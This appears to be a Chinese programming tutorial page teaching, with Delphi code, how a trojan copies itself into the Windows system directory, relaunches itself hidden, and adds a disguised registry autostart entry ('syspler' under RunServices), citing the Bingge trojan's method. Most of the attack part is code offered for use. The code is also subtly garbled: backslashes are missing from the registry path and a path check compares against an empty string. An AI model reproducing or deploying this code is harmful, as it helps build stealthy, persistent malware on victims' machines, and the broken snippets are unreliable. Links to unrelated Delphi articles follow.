Delphi實(shí)現(xiàn)木馬自我拷貝方法
木馬實(shí)現(xiàn)自我拷貝的原理是程序運(yùn)行時(shí)先查看自己是不是在特定目錄下,如果是就繼續(xù)運(yùn)行,如果不是就把自己拷貝到特定目錄下,然后運(yùn)行新程序,繼而退出舊程序.
本例即以Delphi實(shí)現(xiàn)木馬的自我拷貝。
首先打開(kāi)Delphi,新建一個(gè)工程,在窗口的Create事件中寫(xiě)入如下代碼:
procedure TForm1.FormCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //獲得文件名 if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{將自己拷貝到WindowsSystem下} Winexec(pchar(GetWindir + myname), sw_hide);//運(yùn)行WindowsSystem下的新文件 application.Terminate;//退出 end; end;
其中GetWinDir是自定義函數(shù),起功能是找出WindowsSystem的路徑.
function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]<>'' then Result := Result + ''; end;
如何能使程序能在windows啟動(dòng)時(shí)自動(dòng)啟動(dòng)?
為了程序能在Windows每次啟動(dòng)時(shí)自動(dòng)運(yùn)行,可以通過(guò)以下途徑來(lái)實(shí)現(xiàn).“冰河”用注冊(cè)表的方式。
加入Registry單元,改寫(xiě)上面的窗口Create事件,改寫(xiě)后的程序如下:
procedure TForm1.FormCreate(Sender: TObject); const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices'; var myname: string; begin myname := ExtractFilename(Application.Exename); //獲得文件名 if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//將自己拷貝到Windows/System32下} Winexec(pchar(GetWindir + myname), sw_hide);//運(yùn)行WindowsSystem下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end;
- Delphi7中群發(fā)Email郵件的方法
- delphi實(shí)現(xiàn)保存和讀取圖片的方法
- Delphi遠(yuǎn)程連接Mysql的實(shí)現(xiàn)方法
- Delphi創(chuàng)建開(kāi)機(jī)啟動(dòng)項(xiàng)的方法示例
- Delphi實(shí)現(xiàn)獲取句柄并發(fā)送消息的方法
- Delphi實(shí)現(xiàn)窗口文字淡入淡出漸變效果的方法
- Delphi實(shí)現(xiàn)獲取磁盤(pán)空間大小的方法
- Delphi中對(duì)時(shí)間操作方法匯總
- delphi7連接mysql5的實(shí)現(xiàn)方法
- delphi實(shí)現(xiàn)將BMP格式圖形轉(zhuǎn)化為JPG格式圖形的方法
相關(guān)文章
Delphi下OpenGL2d繪圖之畫(huà)點(diǎn)的方法
這篇文章主要介紹了Delphi下OpenGL2d繪圖之畫(huà)點(diǎn)的方法,需要的朋友可以參考下2014-07-07解決delphi TAdoQuery組件的close方法導(dǎo)致”列名無(wú)效“錯(cuò)誤的問(wèn)題
今天小編就為大家分享一篇解決delphi TAdoQuery組件的close方法導(dǎo)致”列名無(wú)效“錯(cuò)誤的問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2020-02-02Delphi 在窗體上創(chuàng)建自己光標(biāo)的實(shí)例
這篇文章主要介紹了Delphi 在窗體上創(chuàng)建自己光標(biāo)的實(shí)例的相關(guān)資料,希望通過(guò)本文能幫助到大家,需要的朋友可以參考下2017-09-09Delphi2007編譯的程序在Win7下圖標(biāo)模糊的解決辦法
這篇文章主要介紹了Delphi2007編譯的程序在Win7下圖標(biāo)模糊的解決辦法,需要的朋友可以參考下2014-08-08wordpress主題支持自定義菜單及修改css樣式實(shí)現(xiàn)方法
使用wordpress過(guò)程中會(huì)遇到主題支持自定義菜單以及修改css樣式問(wèn)題,本文將介紹詳細(xì)解決方法,需要朋友可以參考下2012-12-12